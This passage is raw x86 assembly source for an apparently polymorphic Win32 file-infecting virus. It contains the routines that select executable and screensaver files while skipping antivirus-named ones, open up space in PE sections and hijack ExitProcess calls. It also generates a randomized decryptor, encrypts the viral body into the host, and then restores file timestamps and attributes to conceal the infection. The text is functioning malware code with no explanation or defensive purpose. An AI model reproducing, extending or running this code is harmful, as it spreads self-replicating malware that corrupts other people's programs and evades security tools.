mov eax, edx
push eax
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2
jmp @@InfectNextFile
@@TryToInfectFile:
xor eax, eax
mov eax, 3
call Random
and eax, 1
jnz @@InfectNextFile
mov edx, [ebp+FindFileData]
add edx, 2Ch
mov eax, [edx]
and eax, 1F1F1F1Fh
cmp eax, 'itna' AND 1F1F1F1Fh
jz @@InfectNextFile
mov eax, [edx]
and eax, 1F1Fh
cmp eax, '-F' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'AP' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'CS' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'RD' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'ON' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'EI' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'XE' AND 1F1Fh
jz @@InfectNextFile
cmp eax, 'OW' AND 1F1Fh
jz @@InfectNextFile
mov ebx, edx
@@LoopFindExtension:
mov eax, [ebx]
and eax, 01Fh
cmp eax, 'V' AND 1Fh
jz @@InfectNextFile
cmp eax, '0' AND 1Fh
or eax, eax
jz @@CheckExtension
add ebx, 1
jmp @@LoopFindExtension
@@CheckExtension:
mov eax, [ebx-4]
and eax, 1F1F1FFFh
cmp eax, 'EXE.' AND 1F1F1FFFh
jz @@InfectFile
cmp eax, 'RCS.' AND 1F1F1FFFh
jz @@InfectFile
cmp eax, 'TAD.' AND 1F1F1FFFh
jz @@InfectFile
cmp eax, 'LVO.' AND 1F1F1FFFh
jz @@InfectFile
cmp eax, 'LPC.' AND 1F1F1FFFh
jnz @@InfectNextFile
@@InfectFile:
call TouchFile
@@InfectNextFile:
push eax
push ecx
push edx
mov eax, [ebp+FindFileData]
push eax
mov eax, [ebp+hFindFile]
push eax
call dword ptr [ebp+RVA_FindNextFileA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jnz @@TouchAgain
@@Error2:
push eax
push ecx
push edx
mov eax, [ebp+hFindFile]
push eax
call dword ptr [ebp+RVA_FindClose]
pop edx
pop ecx
pop eax
@@Error:
ret
InfectFiles2 endp
PrepareFile proc
mov eax, [ebp+MappingAddress]
mov ebx, [eax]
and ebx, 0FFFFh
cmp ebx, 0+'ZM'
jnz @@Error
mov ebx, [eax+18h]
and ebx, 0FFh
cmp ebx, 40h
jnz @@Error
mov ebx, [eax+3Ch]
add ebx, eax
mov ecx, [ebx]
cmp ecx, 0+'EP'
jnz @@Error
mov [ebp+HeaderAddress], ebx
mov ecx, [ebx+58h]
or ecx, ecx
jnz @@Error
mov ecx, [ebx+4]
and ecx, 0FFFFh
cmp ecx, 014Ch
jz @@IA32
@@IA32: mov ecx, [ebx+6]
and ecx, 0FFFFh
mov edx, [ebx+14h]
and edx, 0FFFFh
add edx, 18h
add edx, ebx
mov [ebp+StartOfSectionHeaders], edx
xor eax, eax
mov [ebp+RelocHeader], eax
mov [ebp+TextHeader], eax
mov [ebp+DataHeader], eax
@@LoopSections:
mov eax, [edx]
mov esi, [edx+4]
cmp eax, 'ler.'
jnz @@LookForCode
cmp esi, 0+'co'
jnz @@NextSection
mov [ebp+RelocHeader], edx
jmp @@NextSection
@@LookForCode:
cmp eax, 'xet.'
jnz @@LookForCode2
cmp esi, 0+'t'
jnz @@NextSection
mov [ebp+TextHeader], edx
jmp @@NextSection
@@LookForCode2:
cmp eax, 'EDOC'
jnz @@LookForData
or esi, esi
jnz @@NextSection
mov [ebp+TextHeader], edx
jmp @@NextSection
@@LookForData:
cmp eax, 'tad.'
jnz @@LookForData2
cmp esi, 0+'a'
jnz @@NextSection
mov [ebp+DataHeader], edx
jmp @@NextSection
@@LookForData2:
cmp eax, 'ATAD'
jnz @@LookForData3
or esi, esi
jnz @@NextSection
mov [ebp+DataHeader], edx
jmp @@NextSection
@@LookForData3:
@@NextSection:
mov [ebp+LastHeader], edx
add edx, 28h
dec ecx
or ecx, ecx
jnz @@LoopSections
xor eax, eax
mov [ebp+ExitProcessAddress], eax
mov [ebp+VirtualAllocAddress], eax
mov [ebp+GetProcAddressAddress], eax
mov [ebp+GetModuleHandleAddress], eax
mov eax, [ebp+TextHeader]
or eax, eax
jz @@Error
mov eax, [ebp+DataHeader]
or eax, eax
jz @@Error
mov eax, [ebp+RelocHeader]
or eax, eax
jz @@NoRelocs
mov eax, 3
call Random
and eax, 3
jz @@NoRelocs2
mov eax, [ebp+RelocHeader]
cmp eax, [ebp+LastHeader]
jnz @@Error
mov eax, 1
mov [ebp+MakingFirstHole], eax
mov esi, [ebp+TextHeader]
mov ecx, 2000h
call UpdateHeaders
mov [ebp+RVA_TextHole], edi
mov [ebp+Phys_TextHole], eax
mov [ebp+TextHoleSize], ecx
mov eax, [ebp+ExitProcessAddress]
or eax, eax
jz @@Error
mov eax, [ebp+GetProcAddressAddress]
or eax, eax
jz @@Error
mov eax, [ebp+GetModuleHandleAddress]
or eax, eax
jz @@Error
mov ebx, [ebp+HeaderAddress]
add [ebx+1Ch], ecx
add [ebp+FileSize], ecx
xor eax, eax
mov [ebp+MakingFirstHole], eax
mov esi, [ebp+DataHeader]
mov ecx, [ebp+RoundedSizeOfNewCode]
call UpdateHeaders
mov [ebp+RVA_DataHole], edi
mov [ebp+Phys_DataHole], eax
mov ebx, [ebp+HeaderAddress]
mov eax, [ebp+ExitProcessAddress]
add eax, [ebx+34h]
mov [ebp+ExitProcessAddress], eax
mov eax, [ebp+GetProcAddressAddress]
add eax, [ebx+34h]
mov [ebp+GetProcAddressAddress], eax
mov eax, [ebp+GetModuleHandleAddress]
add eax, [ebx+34h]
mov [ebp+GetModuleHandleAddress], eax
mov eax, [ebp+VirtualAllocAddress]
or eax, eax
jz @@DontAddBaseAddress
add eax, [ebp+34h]
mov [ebp+VirtualAllocAddress], eax
@@DontAddBaseAddress:
add [ebx+20h], ecx
add [ebp+FileSize], ecx
mov esi, [ebp+RelocHeader]
mov eax, [esi+0Ch]
mov [ebx+50h], eax
mov edi, [esi+14h]
mov ecx, [ebp+FileSize]
sub ecx, edi
mov [ebp+FileSize], edi
add edi, [ebp+MappingAddress]
xor eax, eax
@@Loop0: call Random
and eax, 0FCh
mov [edi], eax
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@Loop0
xor eax, eax
mov ecx, 28h
@@Loop1: mov [esi], eax
add esi, 4
sub ecx, 4
or ecx, ecx
jnz @@Loop1
mov [ebx+0A0h], eax
mov [ebx+0A4h], eax
mov eax, [ebx+06h]
sub eax, 1
mov [ebx+06h], eax
mov eax, [ebx+16h]
or eax, 1
mov [ebx+16h], eax
mov eax, 2000h
mov [ebp+MaxSizeOfDecryptor], eax
xor eax, eax
ret
@@Error:
mov eax, 1
ret
@@NoRelocs2:
xor eax, eax
mov [ebp+RelocHeader], eax
@@NoRelocs:
xor ecx, ecx
mov edx, -1
call UpdateImports
mov ecx, [ebp+HeaderAddress]
mov eax, [ebp+ExitProcessAddress]
or eax, eax
jz @@Error
add eax, [ecx+34h]
mov [ebp+ExitProcessAddress], eax
mov eax, [ebp+GetProcAddressAddress]
or eax, eax
jz @@Error
add eax, [ecx+34h]
mov [ebp+GetProcAddressAddress], eax
mov eax, [ebp+GetModuleHandleAddress]
or eax, eax
jz @@Error
add eax, [ecx+34h]
mov [ebp+GetModuleHandleAddress], eax
mov eax, [ebp+VirtualAllocAddress]
or eax, eax
jz @@NoVirtualAlloc
add eax, [ecx+34h]
mov [ebp+VirtualAllocAddress], eax
@@NoVirtualAlloc:
xor eax, eax
call Random
and eax, 07h
jz @@HoleAtLastSection
mov ebx, [ebp+TextHeader]
mov eax, [ebx+10h]
cmp eax, [ebx+08h]
jae @@CheckPaddingSpace
add eax, [ebx+14h]
mov [ebp+Phys_TextHole], eax
mov eax, [ebx+10h]
add eax, [ebx+0Ch]
mov [ebp+RVA_TextHole], eax
mov eax, [ebx+08h]
sub eax, [ebx+10h]
cmp eax, 600h
jb @@HoleAtLastSection
cmp eax, 80000000h
ja @@Error
cmp eax, 2000h
jbe @@TextHoleSizeOK
mov eax, 2000h
@@TextHoleSizeOK:
mov [ebp+MaxSizeOfDecryptor], eax
mov edx, ebx
mov ecx, [ebp+LastHeader]
@@LoopAddPhysicalSize:
cmp edx, ebx
jz @@NextAddPhysicalSize
add [edx+14h], eax
@@NextAddPhysicalSize:
cmp edx, ecx
jz @@EndAddPhysicalSize
add edx, 28h
jmp @@LoopAddPhysicalSize
@@EndAddPhysicalSize:
mov edx, [ebp+MappingAddress]
mov edi, edx
add edx, [ebx+14h]
add edx, [ebx+10h]
add edi, [ebp+FileSize]
mov esi, edi
add edi, eax
add [ebx+10h], eax
mov eax, 2000h
add [ebp+FileSize], eax
@@LoopMakePhysicalHole:
call Random
and eax, 0FCh
sub edi, 4
sub esi, 4
mov eax, [esi]
mov [edi], eax
cmp edi, edx
jnz @@LoopMakePhysicalHole
jmp @@TextHoleMade
@@HoleAtLastSection:
mov ebx, [ebp+LastHeader]
mov eax, [ebx+08h]
add eax, [ebx+0Ch]
mov [ebp+RVA_TextHole], eax
mov eax, [ebx+08h]
add eax, [ebx+14h]
mov [ebp+Phys_TextHole], eax
mov eax, 2000h
mov [ebp+MaxSizeOfDecryptor], eax
add [ebx+08h], eax
add [ebx+10h], eax
add [ebp+FileSize], eax
mov eax, [ebx+24h]
and eax, 0FDFFFFFFh
mov [ebx+24h], eax
jmp @@GetDataHole
@@CheckPaddingSpace:
mov eax, [ebx+08h]
add eax, [ebx+0Ch]
mov [ebp+RVA_TextHole], eax
mov eax, [ebx+08h]
add eax, [ebx+14h]
mov [ebp+Phys_TextHole], eax
mov eax, [ebx+10h]
sub eax, [ebx+08h]
mov [ebp+MaxSizeOfDecryptor], eax
cmp eax, 400h
jb @@HoleAtLastSection
mov ecx, eax
mov eax, [ebx+10h]
add eax, [ebx+0Ch]
cmp eax, [ebx+28h+0Ch]
ja @@Error
add [ebx+08h], ecx
@@TextHoleMade:
mov ecx, [ebp+MaxSizeOfDecryptor]
mov edi, [ebp+Phys_TextHole]
add edi, [ebp+MappingAddress]
xor eax, eax
and ecx, 0FFFFFFFCh
@@LoopFillHole:
call Random
and eax, 0FCh
mov [edi], eax
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopFillHole
mov eax, [ebx+08h]
mov esi, [ebp+HeaderAddress]
mov [esi+1Ch], eax
@@GetDataHole:
mov ebx, [ebp+LastHeader]
mov eax, [ebp+RoundedSizeOfNewCode]
add [ebp+FileSize], eax
mov ecx, [ebx+24h]
and ecx, 80000000h
or ecx, ecx
jnz @@Error
mov ecx, [ebx+10h]
add ecx, [ebx+14h]
mov [ebp+Phys_DataHole], ecx
mov ecx, [ebx+10h]
add ecx, [ebx+0Ch]
mov [ebp+RVA_DataHole], ecx
add eax, [ebx+10h]
mov [ebx+10h], eax
mov [ebx+08h], eax
@@AllHolesPrepared:
mov esi, [ebp+HeaderAddress]
mov eax, [ebx+0Ch]
add eax, [ebx+08h]
mov [esi+50h], eax
mov edx, [ebp+ExitProcessAddress]
mov ebx, [ebp+TextHeader]
mov esi, [ebx+14h]
add esi, [ebp+MappingAddress]
mov ecx, [ebx+10h]
sub ecx, 6
@@LoopFindExitProcess:
mov eax, [esi]
and eax, 0FFh
cmp eax, 0FFh
jnz @@NextInstruction
mov eax, [esi+1]
and eax, 0FFh
cmp eax, 25h
jz @@JMPMemFound
cmp eax, 15h
jnz @@NextInstruction
@@JMPMemFound:
mov eax, [esi+2]
cmp eax, edx
jnz @@NextInstruction
add esi, 2
push edx
mov edx, [ebp+HeaderAddress]
mov edx, [edx+34h]
add edx, [ebp+RVA_TextHole]
call PatchExitProcess
pop edx
add esi, 4
@@NextInstruction:
add esi, 1
sub ecx, 1
or ecx, ecx
jnz @@LoopFindExitProcess
xor eax, eax
ret
PrepareFile endp
TouchFile proc
mov [ebp+Addr_FilePath], edx
push eax
push ecx
push edx
push edx
call dword ptr [ebp+RVA_GetFileAttributesA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
cmp eax, -1
jz @@Error_
mov [ebp+FileAttributes], eax
push eax
push ecx
push edx
push 80h
mov eax, [ebp+Addr_FilePath]
push eax
call dword ptr [ebp+RVA_SetFileAttributesA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error_
push eax
push ecx
push edx
push 0
push 0
push 3
push 0
push 0
push 0C0000000h
push edx
call dword ptr [ebp+RVA_CreateFileA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
cmp eax, -1
jz @@Error
mov [ebp+hFile], eax
push eax
push ecx
push edx
push 0
push eax
call dword ptr [ebp+RVA_GetFileSize]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2
mov [ebp+FileSize], eax
mov [ebp+OriginalFileSize], eax
push eax
push ecx
push edx
push 0
add eax, [ebp+RoundedSizeOfNewCode]
add eax, 2000h
push eax
push 0
push 4
push 0
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_CreateFileMappingA]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error2
mov [ebp+hMapping], eax
push eax
push ecx
push edx
push 0
push 0
push 0
push 0F001Fh
push eax
call dword ptr [ebp+RVA_MapViewOfFile]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@Error3
mov dword ptr [ebp+MappingAddress], eax
xor eax, eax
mov [ebp+NumberOfUndoActions], eax
call PrepareFile
or eax, eax
jnz @@Error4
mov ebx, [ebp+MappingAddress]
add ebx, [ebp+Phys_TextHole]
mov ecx, [ebp+MaxSizeOfDecryptor]
cmp ecx, 600h
jbe @@SetSizeOfExpansionTo0
mov eax, 1
call Random
and eax, 1
jz @@SetSizeOfExpansionTo0
mov eax, -1
jmp @@SetSizeOfExpansion
@@SetSizeOfExpansionTo0:
mov eax, 2
call Random
and eax, 1
jz @@SetSizeOfExpansionTo1
xor eax, eax
jmp @@SetSizeOfExpansion
@@SetSizeOfExpansionTo1:
mov eax, 1
@@SetSizeOfExpansion:
mov [ebp+SizeOfExpansion], eax
@@CheckWithOtherSizeOfExpansion:
mov ecx, 9
@@GenerateOther:
push ecx
mov edi, [ebp+DecryptorPseudoCode]
mov eax, [ebp+VirtualAllocAddress]
push eax
call MakeDecryptor
pop eax
mov [ebp+VirtualAllocAddress], eax
pop ecx
sub ecx, 1
mov eax, [ebp+SizeOfDecryptor]
cmp eax, [ebp+MaxSizeOfDecryptor]
jbe @@SizeOfDecryptorOK
or ecx, ecx
jnz @@GenerateOther
mov eax, [ebp+SizeOfExpansion]
cmp eax, 2
jz @@InsertExitProcess
add eax, 1
mov [ebp+SizeOfExpansion], eax
jmp @@CheckWithOtherSizeOfExpansion
@@InsertExitProcess:
mov edi, [ebp+Phys_TextHole]
add edi, [ebp+MappingAddress]
mov eax, 6Ah
mov [edi], eax
add edi, 2
mov eax, 15FFh
mov [edi], eax
add edi, 2
mov eax, [ebp+ExitProcessAddress]
mov [edi], eax
jmp @@Exit
@@SizeOfDecryptorOK:
mov esi, [ebp+AssembledDecryptor]
mov edi, [ebp+Phys_TextHole]
add edi, [ebp+MappingAddress]
mov ecx, [ebp+SizeOfDecryptor]
@@LoopCopyDecryptor:
mov eax, [esi]
mov [edi], eax
add esi, 1
add edi, 1
dec ecx
or ecx, ecx
jnz @@LoopCopyDecryptor
mov edx, 30h
mov esi, [ebp+MaxSizeOfDecryptor]
sub esi, [ebp+SizeOfDecryptor]
and esi, 0FFFFFFFCh
or esi, esi
jz @@ContinueWithTheRest
@@CheckAgainThePossibility:
call Random
and eax, 0FCh
or eax, eax
jz @@CheckAgainThePossibility
sub edx, 1
cmp eax, esi
jb @@FillRandomBytes
or edx, edx
jnz @@CheckAgainThePossibility
jmp @@ContinueWithTheRest
@@FillRandomBytes:
mov ecx, eax
@@LoopFillRandomBytes:
call Random
mov [edi], eax
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopFillRandomBytes
@@ContinueWithTheRest:
mov edi, [ebp+MappingAddress]
add edi, [ebp+Phys_DataHole]
cmp edi, [ebp+MappingAddress]
jz @@Exit
mov edx, [ebp+TypeOfEncryption]
mov ebx, [ebp+EncryptionKey]
mov esi, [ebp+NewAssembledCode]
mov ecx, [ebp+SizeOfNewCode]
and ecx, 0FFFFFFFCh
add ecx, 4
@@LoopEncryptCode:
mov eax, [esi]
or ebx, ebx
jz @@NoEncryption
or edx, edx
jz @@ADDKey
cmp edx, 1
jz @@SUBKey
@@XORKey:
xor eax, ebx
jmp @@StoreDWORD
@@ADDKey:
add eax, ebx
jmp @@StoreDWORD
@@SUBKey:
sub eax, ebx
@@NoEncryption:
@@StoreDWORD:
mov [edi], eax
add esi, 4
add edi, 4
sub ecx, 4
or ecx, ecx
jnz @@LoopEncryptCode
xor eax, eax
mov [edi], eax
@@Exit: mov ebx, [ebp+HeaderAddress]
call Random
and eax, 0FFFFFCh
mov [ebx+58h], eax
xor edi, edi
jmp @@NoError
@@Error4: call UndoChanges
mov edi, 1
@@NoError: push eax
push ecx
push edx
mov eax, [ebp+MappingAddress]
push eax
call dword ptr [ebp+RVA_UnmapViewOfFile]
pop edx
pop ecx
pop eax
jmp @@NoError3
@@Error3: mov edi, 1
@@NoError3:
push eax
push ecx
push edx
mov eax, [ebp+hMapping]
push eax
call dword ptr [ebp+RVA_CloseHandle]
pop edx
pop ecx
pop eax
jmp @@NoError2
@@Error2: mov edi, 1
@@NoError2:
push eax
push ecx
push edx
xor eax, eax
push eax
push eax
or edi, edi
jnz @@ThereWasAnError
mov eax, [ebp+FileSize]
jmp @@FixSize
@@ThereWasAnError:
mov eax, [ebp+OriginalFileSize]
@@FixSize: push eax
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_SetFilePointer]
pop edx
pop ecx
pop eax
push eax
push ecx
push edx
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_SetEndOfFile]
pop edx
pop ecx
pop eax
@@DontFixSize:
push eax
push ecx
push edx
mov eax, [ebp+FindFileData]
add eax, 14h
push eax
sub eax, 8
push eax
sub eax, 8
push eax
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_SetFileTime]
pop edx
pop ecx
pop eax
push eax
push ecx
push edx
mov eax, [ebp+hFile]
push eax
call dword ptr [ebp+RVA_CloseHandle]
pop edx
pop ecx
pop eax
@@Error: push eax
push ecx
push edx
mov eax, [ebp+FileAttributes]
push eax
mov eax, [ebp+Addr_FilePath]
push eax
call dword ptr [ebp+RVA_SetFileAttributesA]
pop edx
pop ecx
pop eax
@@Error_: ret
TouchFile endp
UpdateArrayOfRVAs proc
or eax, eax
jz @@UpdateArray_OK
or edx, edx
jz @@UpdateArray_OK
push ebx
mov ebx, eax
call TranslateVirtualToPhysical
mov eax, ebx
pop ebx
or eax, eax
jz @@UpdateArray_Updated01
@@UpdateArrayLoop_01:
cmp [eax], edi
jb @@UpdateArray_Updated01
add [eax], ecx
@@UpdateArray_Updated01:
add eax, 4
dec edx
or edx, edx
jnz @@UpdateArrayLoop_01
@@UpdateArray_OK:
ret
UpdateArrayOfRVAs endp
UpdateHeaders proc
push ecx
mov eax, [ebp+MakingFirstHole]
or eax, eax
jz @@MakingDataHole
mov eax, [esi+10h]
cmp eax, [esi+08h]
jbe @@TextSizeOK
mov [esi+08h], eax
@@TextSizeOK:
mov edi, [esi+0Ch]
add edi, [esi+10h]
push edi
mov eax, [esi+14h]
add eax, [esi+10h]
push eax
jmp @@BeginUpdates
@@MakingDataHole:
mov edi, [esi+0Ch]
push edi
mov eax, [esi+14h]
push eax
@@BeginUpdates:
@@UpdateResources:
mov eax, [ebp+HeaderAddress]
mov ebx, [eax+88h]
or ebx, ebx
jz @@UpdateImports
call TranslateVirtualToPhysical
or ebx, ebx
jz @@End
mov eax, [ebx+0Ch]
and eax, 0FFFFh
mov edx, [ebx+0Eh]
and edx, 0FFFFh
add edx, eax
or edx, edx
jz @@UpdateImports
mov eax, ebx
add eax, 10h
call UpdateResourceDir
@@UpdateImports:
call UpdateImports
mov eax, [ebp+GetModuleHandleAddress]
or eax, eax
jz @@End
mov eax, [ebp+GetProcAddressAddress]
or eax, eax
jz @@End
mov eax, [ebp+ExitProcessAddress]
or eax, eax
jz @@End
@@UpdateExports:
mov eax, [ebp+HeaderAddress]
mov ebx, [eax+78h]
or ebx, ebx
jz @@ExportsUpdated
call TranslateVirtualToPhysical
or ebx, ebx
jz @@ExportsUpdated
mov eax, [ebx+0Ch]
cmp eax, edi
jb @@UpdateExportsOK_01
add [ebx+0Ch], ecx
@@UpdateExportsOK_01:
mov eax, [ebx+1Ch]
mov edx, [ebx+14h]
call UpdateArrayOfRVAs
mov eax, [ebx+1Ch]
cmp eax, edi
jb @@UpdateExportsOK_02
add [ebx+1Ch], ecx
@@UpdateExportsOK_02:
mov eax, [ebx+20h]
mov edx, [ebx+18h]
call UpdateArrayOfRVAs
mov eax, [ebx+20h]
cmp eax, edi
jb @@UpdateExportsOK_03
add [ebx+20h], ecx
@@UpdateExportsOK_03:
@@ExportsUpdated:
@@UpdateCodeSection:
push esi
mov eax, [ebp+RelocHeader]
mov eax, [eax+14h]
add eax, [ebp+MappingAddress]
@@LoopUpdate_00:
mov esi, [eax]
or esi, esi
jz @@AllUpdated
mov edx, 8
@@LoopUpdate_01:
cmp edx, [eax+4]
jae @@PageUpdated
add eax, edx
mov ebx, [eax]
sub eax, edx
and ebx, 0FFFFh
add edx, 2
cmp ebx, 2FFFh
jbe @@LoopUpdate_01
and ebx, 0FFFh
add ebx, [eax]
mov esi, [ebp+MakingFirstHole]
or esi, esi
jnz @@UpdateCodeSec_Cont00
cmp ebx, [ebp+RVA_TextHole]
jb @@UpdateCodeSec_Cont00
add ebx, [ebp+TextHoleSize]
@@UpdateCodeSec_Cont00:
call TranslateVirtualToPhysical
or ebx, ebx
jz @@LoopUpdate_01
push eax
push edx
mov eax, [ebp+HeaderAddress]
mov edx, [ebx]
sub edx, [eax+34h]
cmp edx, edi
jb @@TranslateOK_02
add [ebx], ecx
add edx, ecx
@@TranslateOK_02:
mov esi, [ebx-2]
and esi, 0FFFFh
cmp esi, 15FFh
jz @@CheckExitProcess
cmp esi, 25FFh
jnz @@ItsNotExitProcess
@@CheckExitProcess:
cmp edx, [ebp+ExitProcessAddress]
jnz @@ItsNotExitProcess
mov edx, [ebp+HeaderAddress]
mov edx, [edx+34h]
add edx, edi
push esi
mov esi, ebx
call PatchExitProcess
pop esi
xor eax, eax
pop edx
pop eax
push eax
add eax, edx
push edx
mov edx, [eax-2]
and edx, 0FFFF0000h
mov [eax-2], edx
pop edx
pop eax
jmp @@LoopUpdate_01
@@ItsNotExitProcess:
@@TranslateOK:
pop edx
pop eax
jmp @@LoopUpdate_01
@@PageUpdated:
add eax, [eax+4]
jmp @@LoopUpdate_00
@@AllUpdated:
pop esi
mov eax, [ebp+MakingFirstHole]
mov ebx, [ebp+HeaderAddress]
cmp [ebx+0Ch], edi
jb @@Fixed_01
or eax, eax
jnz @@NotFixed_01
cmp [ebx+0Ch], edi
jz @@Fixed_01
@@NotFixed_01:
add [ebx+0Ch], ecx
@@Fixed_01:
cmp [ebx+28h], edi
jb @@Fixed_02
or eax, eax
jnz @@NotFixed_02
cmp [ebx+28h], edi
jz @@Fixed_02
@@NotFixed_02:
add [ebx+28h], ecx
@@Fixed_02:
cmp [ebx+2Ch], edi
jb @@Fixed_03
or eax, eax
jnz @@NotFixed_03
cmp [ebx+2Ch], edi
jz @@Fixed_03
@@NotFixed_03:
add [ebx+2Ch], ecx
@@Fixed_03:
cmp [ebx+30h], edi
jb @@Fixed_04
or eax, eax
jnz @@NotFixed_04
cmp [ebx+30h], edi
jz @@Fixed_04
@@NotFixed_04:
add [ebx+30h], ecx
@@Fixed_04:
add [ebx+50h], ecx
mov edx, [ebp+HeaderAddress]
mov edx, [edx+74h]
mov ebx, [ebp+HeaderAddress]
add ebx, 78h
xor eax, eax
@@LoopDir_01:
cmp eax, 4
jz @@NextDir_01
cmp [ebx], edi
jb @@NextDir_01
add [ebx], ecx
@@NextDir_01:
add ebx, 8
inc eax
dec edx
or edx, edx
jnz @@LoopDir_01
mov edx, [ebp+StartOfSectionHeaders]
mov ebx, [esi+14h]
mov eax, [ebp+MakingFirstHole]
or eax, eax
jz @@MakingDataHole_2
@@MakingCodeHole_2:
add ebx, [esi+10h]
@@MakingDataHole_2:
mov eax, [ebp+HeaderAddress]
mov eax, [eax+6]
and eax, 0FFFFh
push esi
mov esi, [ebp+MakingFirstHole]
@@LoopUpdate_02:
push eax
mov eax, [edx+14h]
cmp eax, ebx
jb @@NextSection_00
or esi, esi
jnz @@NextSection_00_
cmp eax, ebx
jz @@NextSection_00
@@NextSection_00_:
add eax, ecx
mov [edx+14h], eax
@@NextSection_00:
mov eax, [edx+0Ch]
cmp eax, edi
jb @@NextSection_01
or esi, esi
jnz @@NextSection_01_
cmp eax, edi
jz @@NextSection_01
@@NextSection_01_:
add eax, ecx
mov [edx+0Ch], eax
@@NextSection_01:
pop eax
add edx, 28h
dec eax
or eax, eax
jnz @@LoopUpdate_02
pop esi
add [esi+08h], ecx
add [esi+10h], ecx
cmp esi, [ebp+RelocHeader]
jz @@End
push ecx
push ebx
mov edx, [ebp+MappingAddress]
add edx, [ebp+FileSize]
sub edx, 4
mov edi, edx
add edi, ecx
pop ecx
add ecx, [ebp+MappingAddress]
@@Again: mov eax, [edx]
mov [edi], eax
sub edx, 4
sub edi, 4
cmp edx, ecx
jae @@Again
pop ecx
and ecx, 0FFFFFFFCh
shr ecx, 2
add edx, 4
@@Again2: call Random
and eax, 0FCh
mov [edx], eax
add edx, 4
dec ecx
or ecx, ecx
jnz @@Again2
@@End: pop eax
pop edi
mov ecx, 0
pop ecx
ret
UpdateHeaders endp
UpdateResourceDir proc
@@UpdateResourceDir2:
push eax
mov eax, [eax+4]
and eax, 80000000h
or eax, eax
jz @@UpdateData
pop eax
push eax
mov eax, [eax+4]
and eax, 7FFFFFFFh
add eax, ebx
push edx
push eax
mov edx, [eax+0Ch]
and edx, 0FFFFh
mov eax, [eax+0Eh]
and eax, 0FFFFh
add edx, eax
pop eax
add eax, 10h
call @@UpdateResourceDir2
pop edx
jmp @@NextDir
@@UpdateData:
pop eax
push eax
mov eax, [eax+4]
add eax, ebx
mov eax, [eax]
cmp eax, edi
jb @@UpdateOK
pop eax
push eax
mov eax, [eax+4]
add eax, ebx
push ebx
mov ebx, eax
call AddUndoAction
pop ebx
add [eax], ecx
@@UpdateOK:
@@NextDir: pop eax
add eax, 8
dec edx
or edx, edx
jnz @@UpdateResourceDir2
ret
UpdateResourceDir endp
TranslateVirtualToPhysical proc
push ecx
or ebx, ebx
jz @@Error
mov ecx, [ebp+HeaderAddress]
mov ecx, [ecx+6]
and ecx, 0FFFFh
push edx
mov edx, [ebp+StartOfSectionHeaders]
push eax
@@LoopSection:
mov eax, [edx+0Ch]
cmp ebx, eax
jb @@NextSection
add eax, [edx+10h]
cmp ebx, eax
jae @@NextSection
sub ebx, [edx+0Ch]
add ebx, [edx+14h]
pop eax
pop edx
add ebx, [ebp+MappingAddress]
pop ecx
ret
@@NextSection:
add edx, 28h
dec ecx
or ecx, ecx
jnz @@LoopSection
pop eax
pop edx
@@Error: xor ebx, ebx
pop ecx
ret
TranslateVirtualToPhysical endp
UpdateImports proc
push esi
mov eax, [ebp+HeaderAddress]
mov ebx, [eax+80h]
or ebx, ebx
jz @@ImportsUpdated
call TranslateVirtualToPhysical
or ebx, ebx
jz @@ImportsUpdated
@@UpdateImports_Loop00:
mov eax, [ebx+0Ch]
or eax, eax
jz @@ImportsUpdated
cmp eax, edi
jb @@UpdateImportsOK_01
add ebx, 0Ch
call AddUndoAction
add [ebx], ecx
sub ebx, 0Ch
@@UpdateImportsOK_01:
push ebx
xor ebx, ebx
mov [ebp+Kernel32Imports], ebx
mov ebx, eax
call TranslateVirtualToPhysical
or ebx, ebx
jz @@UpdateImports_Next00
mov eax, [ebx]
and eax, 1F1F1F1Fh
cmp eax, 'nrek' AND 1F1F1F1Fh
jnz @@UpdateImports_Next00
mov eax, [ebx+4]
and eax, 0FFFF1F1Fh
cmp eax, '23le' AND 0FFFF1F1Fh
jnz @@UpdateImports_Next00
mov eax, 1
mov [ebp+Kernel32Imports], eax
@@UpdateImports_Next00:
pop ebx
mov eax, [ebx]
or eax, eax
jz @@UpdateImportsOK_04
push ebx
mov ebx, eax
call TranslateVirtualToPhysical
mov eax, ebx
pop ebx
or eax, eax
jz @@UpdateImportsOK_04
@@UpdateImports_Loop01:
mov edx, [eax]
or edx, edx
jz @@UpdateImportsOK_02
cmp edx, 80000000h
jae @@UpdateImports_UpdatedOK
mov esi, [ebp+Kernel32Imports]
or esi, esi
jz @@UpdateImports_NotKernel32
push ebx
mov ebx, edx
call TranslateVirtualToPhysical
or ebx, ebx
jz @@UpdateImports_UnknownFunction
mov esi, [ebx+2]
cmp esi, 'tixE'
jz @@UpdateImports_ExitProcess00
cmp esi, 'MteG'
jz @@UpdateImports_GetModuleHandle00
cmp esi, 'PteG'
jz @@UpdateImports_GetProcAddress00
cmp esi, 'triV'
jnz @@UpdateImports_UnknownFunction
@@UpdateImports_VirtualAlloc:
mov esi, [ebx+0Bh]
